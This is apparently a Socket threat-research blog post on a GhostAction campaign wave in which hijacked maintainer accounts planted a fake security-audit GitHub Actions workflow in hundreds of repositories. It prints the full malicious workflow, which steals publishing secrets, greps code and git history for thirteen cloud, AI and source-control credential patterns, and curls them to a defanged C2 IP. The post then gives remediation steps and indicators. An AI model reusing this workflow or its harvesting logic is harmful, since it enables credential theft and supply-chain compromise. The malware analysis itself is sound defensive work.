New GhostAction Wave Hits Hundreds of Repos, Expanding Beyond CI/CD Secrets to Cloud Credentials

A new GhostAction wave hits hundreds of GitHub repos, expanding CI/CD secret theft to cloud and AI credentials in source code and git history.

  • Socket Research Team
    Socket Research Team
9 min read
New GhostAction Wave Hits Hundreds of Repos, Expanding Beyond CI/CD Secrets to Cloud Credentials
Update (October 9, 2026, [HH:MM] UTC): Since publication, Socket has identified more than 500 GitHub accounts that committed the malicious workflow to tens of thousands of repositories since October 7, 2026, including several organization-owned ones reached through the compromised contributors. The two accounts described below remain the most prominent, and kitao/pyxel is the clearest confirmed case of publishing credentials being targeted by a successful run.
Socket analyzed an October 8, 2026 burst of the GhostAction campaign in which two compromised maintainer accounts committed a workflow named security-audit.yml into 346 repositories — among them uber/athenadriver and the 18,420-star kitao/pyxel — merging GitHub Actions secret theft with a new sweep of the working tree and full git history for cloud credentials, posted in cleartext to a single hardcoded IP address.

On October 8, 2026, two GitHub accounts — henrywoo and kitao — pushed a single-file commit adding .github/workflows/security-audit.yml to every repository they could write to. The commit messages were Add security audit workflow and Update security audit workflow. The workflow has no security function. It collects credentials and POSTs them to hxxp://193.32.204[.]199.

Socket observed the file in 346 repositories: 318 under the henrywoo namespace (39 source repositories and 279 forks), 27 under kitao, and uber/athenadriver, an Uber-owned repository that henrywoo has write access to as its original author. The henrywoo sweep ran between 21:10:15Z and 21:26:32Z; the kitao repositories carry timestamps in a four-minute window at 13:40–13:44Z. Decade-dormant repositories were included alongside active ones, which is consistent with automated enumeration rather than selective targeting.

This is a variation on the GhostAction campaign that GitGuardian documented in September 2025 and again in its return reported in 2026. The delivery method is unchanged — stolen maintainer credentials used to commit a plausibly named workflow — but the set of targeted secrets has expanded. Earlier waves took only what was stored in GitHub Actions secrets. This variant keeps that capability and adds a regex sweep for cloud provider and AI service credentials committed into the repository and its complete git history.

As of October 9, 2026, the workflow file remains present on the default branch of the repositories Socket checked, including uber/athenadriver and kitao/pyxel. The injected workflow has run successfully in affected repositories. Socket has observed no malicious package versions published to PyPI or crates.io as a result of this activity at the time of writing.

Socket’s AI scanner flagging the suspicious behaviour in one of the malicious workflow files.

Injection of the Malicious Workflow

The campaign has three stages, only one of which lives in the workflow file.

First, the operator obtains a working credential for a maintainer account. Socket did not observe how.

Second, each repository is scanned for the Actions secrets it already uses, and those exact names are written into the payload before it is committed. This reconnaissance is the step GitGuardian described in earlier waves. The scale and uniformity of this burst indicate it is tool-driven rather than hand-performed: 346 repositories were processed across two accounts in two short windows, each file byte-identical apart from the rendered secret list, which is consistent with the names being extracted from existing workflow files and emitted into a template by the same generator that produces the rest of the payload.

Third, the workflow is committed directly to the default branch and runs on the next push.

Below is the complete workflow as retrieved from kitao/pyxel at commit 97670a55 . This commit is carrying both collection methods in active form, which makes it the clearest view of the campaign's current capability. Annotations mark which lines are inherited from the earlier GhostAction payload and which are new.

name: Security Audit
on:
  workflow_dispatch:
  push:                                 # no branch or path filter
jobs:
  audit:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
        with:
          fetch-depth: 0                # ADDED - fetch every branch and tag
      - name: Audit
        run: |
          out="REPO=$GITHUB_REPOSITORY"

          # ---- INHERITED: GitHub Actions secret theft ----
          [ -n "CARGO_REGISTRY_TOKEN=${{ secrets.CARGO_REGISTRY_TOKEN }}&PERSONAL_ACCESS_TOKEN=${{ secrets.PERSONAL_ACCESS_TOKEN }}&PYPI_PASSWORD=${{ secrets.PYPI_PASSWORD }}&PYPI_USERNAME=${{ secrets.PYPI_USERNAME }}" ] && out="$out&CARGO_REGISTRY_TOKEN=${{ secrets.CARGO_REGISTRY_TOKEN }}&PERSONAL_ACCESS_TOKEN=${{ secrets.PERSONAL_ACCESS_TOKEN }}&PYPI_PASSWORD=${{ secrets.PYPI_PASSWORD }}&PYPI_USERNAME=${{ secrets.PYPI_USERNAME }}"

          # ---- ADDED: committed-credential sweep ----
          grepped=$(grep -rEiho "<13 CREDENTIAL PATTERNS>" --exclude-dir=.git . 2>/dev/null | sort -u)
          gl=$(git log -p --all 2>/dev/null | head -200000)
          hist=$(echo "$gl" | grep -oiE "<13 CREDENTIAL PATTERNS>" | sort -u | head -300)
          ctx=$(grep -rEi -B2 -A2 "AKIA[0-9A-Z]{16}|ASIA[0-9A-Z]{16}" --exclude-dir=.git . 2>/dev/null | head -150)
          hctx=$(echo "$gl" | grep -Ei -B2 -A2 "AKIA[0-9A-Z]{16}|ASIA[0-9A-Z]{16}" | head -150)

          full="$out
          AKIA_CTX_START
          $ctx
          $hctx
          AKIA_CTX_END
          $grepped
          $hist"
          if [ -n "$(echo $full | tr -d ' \n')" ]; then
            curl -s -m 20 -X POST --data-binary "$full" "hxxp://193.32.204[.]199/?c=monami" || true
          fi

The job runs on any push to any branch or tag, with no filter, plus workflow_dispatch for manual re-runs. Both collection methods append to a single variable and leave in one HTTP request, so a defender reading network data sees one POST carrying two unrelated classes of secret.

The Inherited Half: GitHub Actions Secrets

Line 15 is the earlier GhostAction technique, unchanged in substance. Before the file is committed, the repository's existing workflows are scanned for the Actions secrets it uses and those exact names are rendered into the payload. For Pyxel the list is CARGO_REGISTRY_TOKEN, PERSONAL_ACCESS_TOKEN, PYPI_PASSWORD and PYPI_USERNAME.

These are publishing credentials. Their value to an attacker is the ability to ship a malicious release of a package that users already trust, which is the mechanism that turns a single account compromise into a downstream supply chain incident.

The Added Half: the Committed-credential Sweep

Everything from fetch-depth: 0 through hctx is new to this variant, and it targets a completely different source: credentials that developers committed into the repository, including ones they later removed. fetch-depth: 0 is what makes it possible. The default checkout fetches a single shallow branch; depth zero fetches every branch and tag, which gives git log -p --all the full patch text of the repository's history to read, including commits that were rewritten off the default branch but remain reachable from a stale branch or tag. Those are credentials the maintainer most likely believes are gone.

Five variables do the collection:

VariableSourceWhat it collects
greppedWorking tree, .git excludedAny of 13 credential patterns in files currently checked out
glgit log -p --allRaw patch text of every branch and tag — the full history buffer the next two passes read
histglThe same 13 patterns, matched against history rather than the working tree
ctxWorking treeTwo lines either side of every AWS access key ID
hctxglTwo lines either side of every AWS access key ID in history

The two context passes are the most deliberate part of the addition, and they are the reason this variant should be read as cloud-credential tooling rather than a generic secret scanner. An AKIA or ASIA value is only a key identifier; it authenticates nothing on its own. The corresponding 40-character secret access key is what an attacker needs, and in practice it sits one or two lines away in an .env file, an AWS credentials file, a Terraform variables file, or a CI configuration block. By capturing a window around every key ID in both the working tree and the history, the payload reconstructs complete, usable AWS key pairs instead of returning orphaned identifiers. The delimiters AKIA_CTX_START and AKIA_CTX_END fence that section of the body so the collector can parse it separately from the flat match list.

Thirteen patterns are matched in both passes, reproduced here as they appear in the payload:

AWS — direct cloud account access: compute, storage, data, and onward privilege escalation.

  • AKIA[0-9A-Z]{16} — long-term access key ID
  • ASIA[0-9A-Z]{16} — STS temporary access key ID
  • (?:aws_)?secret(?:_access)?_key followed by 40 characters — secret access key, matched by variable name
  • aws_session_token followed by 100 or more characters — STS session token

AI services — billable inference resale, and access to whatever prompt and data flows run through the key.

  • sk-ant-… — Anthropic API key
  • sk-proj-… — OpenAI project key
  • sk-or-(v1-)?… — OpenRouter key

Source control — repository read and write access, and the ability to inject further workflows.

  • ghp_[A-Za-z0-9]{36} — GitHub classic personal access token
  • github_pat_…{60,} — GitHub fine-grained personal access token
  • glpat-… — GitLab personal access token

SaaS and cloud APIs — access to the services each key is scoped to.

  • AIza[A-Za-z0-9_-]{35} — Google, Firebase or GCP API key
  • xox[baprs]-… — Slack bot, user, app or refresh token, giving internal communications access
  • SG\.…\.… — SendGrid API key, allowing outbound mail from a trusted sender domain

The two halves differ operationally. The inherited half requires reconnaissance and yields a small number of high-value credentials that map directly to package publishing. The added half requires none, which is what allows one static file to be deployed to 346 repositories in two short bursts, and it reaches a class of credential the earlier campaign never touched. Rotating Actions secrets does nothing for a committed-credential exposure, and scanning the working tree does nothing for an Actions-secret exposure.

Example of a successful workflow run in the kitao/pyxel repository

Impact

uber/athenadriver is the most notable repository in this burst. The payload was committed using the compromised henrywoo account and is identical to the payload deployed across his personal repositories. henrywoo is the original author of athenadriver, which accounts for write access to an organization-owned repository. This is the pattern that makes maintainer account compromise expensive: the blast radius is not the individual’s own projects but every repository, in every organization, that the credential can write to.

kitao/pyxel is the highest-value target by exposure. The repository has 18,420 stars and 966 forks, is written in Rust and Python, and distributes through both PyPI and crates.io. It is one of the repositories where Socket observed the Actions-secret path populated, and the secrets named are precisely the publishing credentials for both registries plus a GitHub PAT. Socket has observed no malicious package versions published to PyPI or crates.io as a result of this activity at the time of writing.

henrywoo/pyllama (2,777 stars, 295 forks) and henrywoo/chatllama (1,200 stars, 129 forks) are the most-starred repositories in the henrywoo set. Both are machine learning projects whose contributors and forkers routinely hold exactly the credential classes in Set B: AWS keys and Anthropic, OpenAI, and OpenRouter API keys. The payload’s pattern list and this audience are well matched, which may be deliberate.

The 279 forks in the henrywoo namespace each carry the workflow file. If Actions are enabled, subsequent pushes can trigger credential harvesting. Downstream forks are also at risk if they inherit the malicious workflow, either when newly created or by synchronizing with the affected upstream repository. Private forks and downstream mirrors are the most exposed, because private repositories are where committed credentials are actually found.

Across both accounts, every run also returns a repository identifier whether or not credentials were found, so the operator holds a map of reachable execution contexts independent of any credential theft.

Triage begins by reading line 15 of the injected file. A populated secret list indicates a Set A exposure; an empty [ -n "" ] indicates Set B only. Treat both as present if in doubt.

If the workflow named your Actions secrets:

  1. Rotate every secret named in the file. For Pyxel’s secret set, that means new PyPI credentials, a new crates.io token, and revocation — not rotation — of the personal access token.
  2. Review the package registry release history for both PyPI and crates.io for unexpected versions published during and after the exposure window, and compare published artifacts against your own build outputs.
  3. Read the Actions run history for the injected workflow. Treat any completed run as successful exfiltration of the named secrets.

If the workflow greps the repository:

  1. Scan the full history, not just HEAD. Use git log -p --all and include unreachable objects; the payload reads branches and tags that no longer appear in the default branch.
  2. Rotate every credential found in that scan, in all thirteen categories above. Treat anything that ever appeared in a commit as exposed regardless of whether it appears in the current tree.
  3. For AWS keys found in history, review CloudTrail for the exposure window and after it, and check for new IAM users, access keys, and unexpected regions.

In both cases:

  1. Remove the workflow file and revert the commit on every affected repository, including organization-owned ones.
  2. Treat the account as fully compromised: revoke all sessions, personal access tokens, OAuth grants, and SSH keys, then enforce phishing-resistant multi-factor authentication and re-enroll.
  3. Review the organization audit log for the push window and search for workflow-file additions across every repository the account could write to. Enumerate by account permission, not by expectation.
  4. Hunt for connections to 193.32.204[.]199 in egress logs, including from self-hosted runner ranges, and block it.
  5. Enable GitHub secret scanning with push protection, and require approval for workflow runs from outside collaborators.
  6. Fork owners: check for .github/workflows/security-audit.yml before enabling Actions on any fork taken from an affected namespace.

Indicators of Compromise

Workflow file paths

.github/workflows/security-audit.yml

.github/workflows/github_actions_security.yml

Commit messages

Add security audit workflow - commit message

Update security audit workflow - commit message

Add Github Actions Security workflow - commit message

Request body markers

REPO=

AKIA_CTX_START

AKIA_CTX_END

Network

193.32.204[.]199 - C2 IP address

Stay ahead of threats

Subscribe to our newsletter

Get notified when we publish new security blog posts!